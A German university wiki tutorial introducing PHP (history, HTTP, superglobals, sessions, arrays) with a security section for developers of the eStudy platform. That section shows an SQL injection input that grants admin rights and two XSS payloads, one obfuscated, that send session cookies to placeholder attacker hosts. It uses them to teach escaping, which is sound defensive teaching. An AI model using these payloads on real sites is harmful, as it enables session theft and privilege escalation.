PHP Einfuehrung

Aus THM-Wiki
Wechseln zu: Navigation, Suche

Geschichtliches

  • 1995 von Rasmus Lerdorf gestartet
  • PHP: „Personal Home Page Tools“, eine Sammlung von Perl-Skripte zur Protokollierung der Zugriffe auf seinen Onlinelebenslauf.
  • Idee: Schleifen und Entscheidungen für HTML, "dynamische Seiten"
  • 1998 wurde PHP 3 von Andi Gutmans und Zeev Suraski in C neu geschrieben und in PHP:Hypertext Preprocessor umbenannt (rekursives Akronym)
  • 1999 Gründung von Zend Technologies Ltd. (ZEev und ANDi)

Die Erfolgsstrategie von Zend lässt sich relativ einfach zusammenfassen: "Mit Speck fängt man Mäuse". Der Kern ist frei verfügbar, sinnvolle Erweiterungen müssen teuer bezahlt werden (Studio, Guard, Optimizer, ...).

Sprachumfang

  • "typenfrei"
  • interpretiert
  • objektorientiert (seit PHP5 komplett, PHP4 zum Teil)
  • Command Line Interface (php -r 'echo "Hallo\n";')
  • GTK-Erweiterung für clientseitige Anwendungen
  • PEAR (Birne): Repository für PHP Erweiterungen
  • PECL (sprich pickle, Essiggurke): Repository für C Erweiterungen

Exkurs: HTTP & CGI

HTTP wird in RFC 2616 beschrieben:

The HTTP protocol is a request/response protocol. A client sends a request to the server in the form of a request method, URI, and protocol version, followed by a MIME-like message containing request modifiers, client information, and possible body content over a connection with a server. The server responds with a status line, including the message's protocol version and a success or error code, followed by a MIME-like message containing server information, entity metainformation, and possible entity-body content.

Es ist verbindungslos, was die Implementierung eines Servers genau so einfach wie performant macht. Leider wurde in der Geburtsstunde von HTTP nicht an dynamische Inhalte gedacht, was einigen Aufwand beim sog. Session-Handling verursacht.


HTTP-GET-Request

Ein typische HTTP-GET-Request ist wie folgt aufgebaut:

GET http://estudy.mni.fh-giessen.de/forum/showtopic.php?threadid=2249&time=1162986145 HTTP/1.1

Host: estudy.mni.fh-giessen.de

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-2)

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Referer: http://estudy.mni.fh-giessen.de/news/news.php

Cookie: PHPSESSID=44efb40c043973fe7b628306b82c47c2

Die erste Zeile enthält die URI und sog. GET Variablen (hier zB threadid und time). Der Rest besteht aus weiteren HTTP Feldern, welche im RFC ausführlich beschrieben sind. Auf Referer (die zuletzt besuchte Seite des Browsers) und Cookie wird später noch eingegangen.

HTTP-Response

HTTP/1.1 200 OK
Date: Wed, 08 Nov 2006 11:48:18 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Type: text/html

<html><head><title> eStudy ... </title></head></html>

Die Antwort besteht wie der Request aus verschiedenen HTTP-Feldern und einem "Body" mit dem was der Benutzer im Browser angezeigt bekommt.

CGI - Common Gateway Interface

Das CGI wurde entwickelt um HTML-Seiten mit dynamischen Inhalten erweitern zu können. Es gibt CGI Module für verschiedene Programmiersprachen. Das Programm wird für jeden Request einzeln gestartet und bekommt sowohl die verschiedenen HTTP Felder als auch Ein- und Ausgabekanäle zur Verfügung gestellt. Dadurch das es auf dem Server läuft erhält es natürlich auch Zugriff auf dessen Resourcen.

Sprachgebrauch

Einführung

Mittlerweile wird PHP nur noch selten als CGI eingesetzt, meißt läuft es als Apache-Modul. Trotzdem bleiben die Einschränkungen der CGI-Schnittstelle erhalten, die jedes Script wird für jeden Request neu gestartet.

Superglobals

Superglobals sind globale Variablen welche in allen Namesräumen verfügbar sind und nach dem Dependency Injection Pattern vom PHP-Interpreter zur Verfügung gestellt werden. Die oben genannten HTTP-Felder werden z.B. in dem superglobalen, assoziativen Array $_SERVER zur Verfügung gestellt.

$_SERVER in PHP HTTP-Request
$_SERVER['SERVER_NAME'] Host
$_SERVER['HTTP_REFERER'] Referer
$_SERVER['HTTP_USER_AGENT'] User-Agent
$_GET['threadid'] threadid in der URL

Weitere Superglobals sind:

  • $_ENV (Variablen der Systemumgebung)
  • $_COOKIE (der Keks)
  • $_POST
  • $_FILES
  • $_REQUEST (Inhalt von $_GET, $_POST und $_COOKIE zusammen)
  • $GLOBALS

Das Session Dilemma

Wie bereits gezeigt "lebt" jedes PHP Script nur sehr kurze Zeit, es wird für jeden Request (Mausklick, Enter gedrückt) neu gestartet. Dadurch können sich Scripte Daten nicht über längere Zeit merken. Um diesem Malus zu begegnen wurden sog. Sessions (Sitzungen) eingeführt. Jeder Client bekommt eine eindeutige ID, welche entweder in der URL übertragen, oder in einem Cookie gespeichert wird. Bei jedem Request liefert der Client diese ID an den Server, welcher daraufhin die entsprechenden Sessiondaten aus seinem Sessionspeicher (Dateien oder Datenbank) ausliest und dem Script als Superglobal $_SESSION zur verfügung stellt.

// Daten aus der Session auslesen
$x = $_SESSION['userid'];

// Daten in der Session speichern
$_SESSION['userid'] = $x;

Wenn ein Angreifer die Session eines Benutzers übernehmen will, braucht er nur die SessionID zu kennen. Deshalb sollten SessionIDs bei dem Wechsel in eine SSL geschützten Bereich neu generiert werden (session_regenerate_id()). Des weiteren ist die SessionID ausschließlich im Cookie zu speichern (sonst könnte sie über das Referer Feld des Browsers auf andere Seiten gelangen) und mit dem secure Flag zu versehen. Als eStudyentwicklerIn nimmt Ihnen das Framework dies ab, Sie müssen nur wissen wie man Variablen in der Session setzt und ausliest (s.o.)

Ausführliche Anleitung

Objektorientierung

Wer schon mal mit Java gearbeitet hat, wird bei PHP5 wenig Überraschungen erleben :-)

Arrays

Einfache Arrays sind in PHP Listen mit einem int als Schlüssel, wie ein den meißten anderen Sprachen auch.

$arr[0]="Hallo";
$arr[1]="Welt";
echo $arr[0];

In solch ein Array kann man dank der "typenfreiheit" von PHP alles mögliche reinpacken, gerne auch gemischt. Noch praktischer sind sog. Assoziative Arrays (bei den Perl-Freunden als Hashes bekannt). Bei Ihnen kann man auch Strings als Schlüssel benutzen. Im folgenden zeigen einige Beispiele wie das PHP-Pragma "There are many ways to do things" anhand von Arrays und deren Ausgabe auf den Bildschirm verwirklicht wurde.

$arr = array(
"erstes"=>"Hallo", "zweites"=>"liebe",
"drittes" => "Welt"
);

foreach:

foreach ($arr as $key => $value) { 
  echo ($key." ist  ".$value. 
 "<br />");
}

Ergibt:

erstes ist Hallo
zweites ist liebe
drittes ist Welt

for:

for ( reset($arr); $value = current($arr); next($arr)) {
  echo (key($arr)." ist ".$value. "<br/ >");
}

while:

reset ($arr);
while ($value = current($arr)) {
  echo (key($arr)." ist ".$value. "<br/ >");
  next($arr);
}

ein bisschen Lambda:

function out($value, $key) {
  echo $key." ist ".$value. "<br/ >";
}

array_walk ($arr, "out");

ein bisschen mehr Lambda:

$keys = array_keys($arr);
$values = array_values($arr);
array_map ("out", $keys, $values);

don't try this at home, kids:

extract($arr);
echo "erstes ist ".$erstes."<br />";
echo "zweites ist ".$zweites."<br />";
echo "drittes ist ".$drittes."<br />";

kleines Helferlein 1:

print_r($arr);
Ergibt:
Array ( 
  [erstes] => Hallo 
  [zweites] => liebe 
  [drittes] => Welt 
) 

kleines Helferlein 2:

var_dump($arr);
Ergibt:
array
  'erstes' => 'Hallo' (length=5)
  'zweites' => 'liebe' (length=5)
  'drittes' => 'Welt' (length=4)

Zusammenfügen als String:

echo implode(" ",$arr);

Ergibt:

Hallo liebe Welt

Polymorphie und Arrays:

class str {
  private $string;
  
  public function str($s) {
    $this->string = $s;
  }
  
  public function out() {
    echo $this->string."<br>";
  }

}

for ($x = 0; $x < 5; $x++) {
  $arr2[] = new str("zeichenkette".$x);
}

foreach ($arr2 as $a) $a->out();

MVC in PHP

Mittlerweile gibt es eine Hülle und Fülle von verschiedenen Frameworks. Weiteres steht in diesem Artikel: Model-View-Controller_(MVC).

Sicherheit

Einleitung

Es gibt verschiedene Quellen von Gefahr:

  • Höhere Gewalt
  • Organisatorische Mängel
  • Menschliche Fehlhandlungen
  • Technisches Versagen
  • Vorsätzliche Handlungen

Im folgenden werden nur Sicherheitsprobleme durch Programierfehler behandelt. Deren auswirkungen streifen fast alle o.g. Gebiete, die Ursachen sind aber im Allgemeinen Menschliche Fehlhandlungen.

Motivation

Der Gesetzgeber sorgt für eine starke extrinsische Motivation. Sobald Fahrlässigkeit im Spiel ist haften Sie als Arbeitnehmer voll für verursachte Schäden. Da Sie als Ba/Ma/Dipls "vom Fach" sind gilt das Fehlen von Sicherheitsmaßnahmen als Fahrlässig. Ausführliche Informationen sind u.a. bei der BITKOM zu erhalten, von denen auch das folgende Bild stammt. @ToDo: Warum kann ich keine Dateien hochladen?

Es gilt:

Schädigt der Arbeitnehmer im Rahmen seiner betrieblichen Tätigkeit einen Vertragspartner oder einen sonstigen außen stehenden Dritten, dann haften Arbeitgeber und Arbeitnehmer als sog. Gesamtschuldner. In diesen Fällen kann der Dritte seinen Schaden sowohl gegenüber dem Arbeitgeber als auch gegenüber dem Arbeitnehmer geltend machen.

Eine simple Lücke, die es möglich macht SPAM über einen Rechner zu versenden kann auch zu hohen Kosten führen. Das LG Berlin (Beschl. v. 26.09.2005 - Az.: 16 O 718/05) hat im Wege der einstweiligen Verfügung entschieden, dass der Admin-C haftet, wenn Spam-E-Mails über bzw. für diese Domain versendet werden.

Der Quell allen Übels (Ein- und Ausgaben und ihre Wirkung)

Kurz gesagt:

  • Alle Eingaben sind böse!
  • Alle Ausgaben auch!

Jede Schicht (bzw. neudeutsch Tier) im Gesamtsystem benutzt verschiedene Steuerzeichen. Was für PHP String ist, für mysql ein Befehl sein. "Typenfreiheit" verschärft das Problem, was EntwicklerInnen als Zahl vorgesehen haben, können AngreiferInnen als String nutzen.

Im folgenden ein paar Beispiele aus eStudy.

 
user/classes/class.edituser.inc.php

$updateUser = "UPDATE user SET ";
[...]
$updateUser.= "university=".$this->userData['university'].", ";

Wenn nun AngreiferInnen bei dem Bearbeiten ihres Profils als Universität FH-Giessen', Usergroup = '1 eingeben, so erweitern sie das Update-Statement um eine weitere Spalte die sie in die Admin-Benutzergruppe befördert. An dieser Stelle ist Data::toMySQL() zu nutzen, welche die einfachen Anführungszeichen durch das Einfügen von Backslashes entschärft, also in FH-Giessen\', Usergroup = \'1 umwandelt.

Folgender RegEx hat einen kleinen Fehler, es fehlt die Begrenzung ($) am Ende.

function validateUrl($url) {
    return preg_match("#^(http|https|ftp):\/\/([a-z0-9\.\-@:]+)[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),\#%~]*?#i", $url);
}

AngreiferInnnen können z.B.

http://www.heise.de ''> <script>(new Image).src=''http://www.evilhaxxor.de/s/c.php?c=''+escape(document.cookie);</script> <div style=''a

als URL angeben, was der Validator für eine Valide URL hält. Das eingefügte Javascript sorgt dafür das der Session-Cookie desjenigen der sich die URL in den Resourcen als Link ansieht an den Server der AngreiferInnen geschickt wird.

"in the wild" wurde so z.B. schon myspace von einem Jungen Programmierer namens samy lahmgelegt. Funktionale Bestandteile die im Browser von jedem der Samys Profil ansieht ausgeführt wurden:

  • Samy in die persönliche Freundesliste aufnehmen.
  • Den Code für 1. in das eigene Profil übernehmen

Ergebnis: 200 Freunde nach 8h, am Abend des selben Tages ca. 1.000 Requests/sec, 1.000.000 Freunde erreicht. myspace geht offline

Abstrakte Darstellung des Problems

Unterschiedliche Schichten interpretieren unterschiedliche Zeichen(-folgen) als Steuersequenzen oder Befehle. Schadhafte Eingaben für eine Schicht werden durch sog. escape-Funktionen nur für die jew. Schicht unschädlich gemacht. Es ist schwierig alle Eingabequellen und Ausgabeziele individuell zu behandeln da es sehr viele gibt:

Datenquellen:

  • HTTP Felder
  • Cookies
  • Session
  • Aus der Datenbank
  • Aus Dateien
  • RPC (Remote Procedure Calls)
  • Von anderen Seiten (Crawler, Web2.0 Portale)
  • LDAP
  • RADIUS
  • ...

Datensenken:

  • Browser (Head, Body, Javascript, CSS)
  • Datenbank
  • Betriebssystem (exec(), C-Bibliotheken)
  • Dateisystem
  • PDFs (auch in diese kann JavaScript eingefügt werden
  • Bilder (bei automatischer generierung z.B.)

Für jedes Ziel gibt es verschiedene PHP-Funktionen zum escapen, welche für eStudyentwicklerInnen durch die Data-Klasse und Ihre Methoden (toHTML, toMySQL, ...) gewrapped werden:

Methode escapte Zeichen
mysql_real_escape_string() \x00 \n \r \ ' " \x1a
htmlentities() < > " & '
urlencode() Alle nicht-alphanumerischen Zeichen außer - _ .

Das Problem mit den Schichten zeigt sich z.B. wenn man mittels htmlentities() entschäfte Inhalte in einem JavaScript Bereich verwendet.

<?php 
echo ('<script>a='.htmlentites($_GET['var1']).'; alert(a);</script>'); 
?>

Die Interpretation der einzelnen Browser ist genau so gutmütig wie unterschiedlich. Für IE und Firefox ist folgender Inhalt gültiges Javascript und enthält keine HTML Steuerzeichen.

var1=12 ;  
b=/http:QQwww.punktstrich.deQsQc.php?c=/; 
c=String(b); 
d=c.substr(1,c.length-2); 
i=c.substr(0,1); 
d=d.replace(/Q/g,i); 
alert(d); 
(new Image).src=d.concat(escape(document.cookie))

(Die Slashes markieren eine Regular Expression in JavaScript, welche hier in einen String umgewandelt wird. Das ganze ist eine Variation des zweiten Beispiels von Sicherheitslücken)

Abhilfe schaffen durch Ein-, Ausgabenvalidierung (Data.php)

Um den EntwicklerInnen das Leben etwas einfacher zu machen, wurde die Data Klasse entworfen. Ihre Aufgabe ist es Aufrufe von PHP-Spezifischen Methoden zur Validierung und Entschäfrung zu kanalisieren und zu vereinfachen. So sind evtl. nötige Ergänzungen nur an einer Stelle im Code zu machen und Eingabedaten können an dieser zentralen Stelle z.B. auf bekannte Angriffsmuster überprüft werden. Des weiteren braucht man nur die Art der zu verarbeiteten Daten zu kennen (Email, Name, ...) und deren Ziel zu kennen und nicht alle Haken und Ösen von PHPs escapingfunktionen.

Methoden der Data-Klasse (Auszug)

isValid() Verwendet einen regulären Ausdruck, um zu sichern, dass die eingehenden Daten einem bestimmten Muster entsprechen. Für verschiedene Arten Date gibt es abgeleitete Klassen, zB GermanDate für das heutige Datum.
toHTML() escaped HTML-Steuerzeichen
toDb() escaped Datenbanksteuerzeichen
toFileName() escaped Dateinamen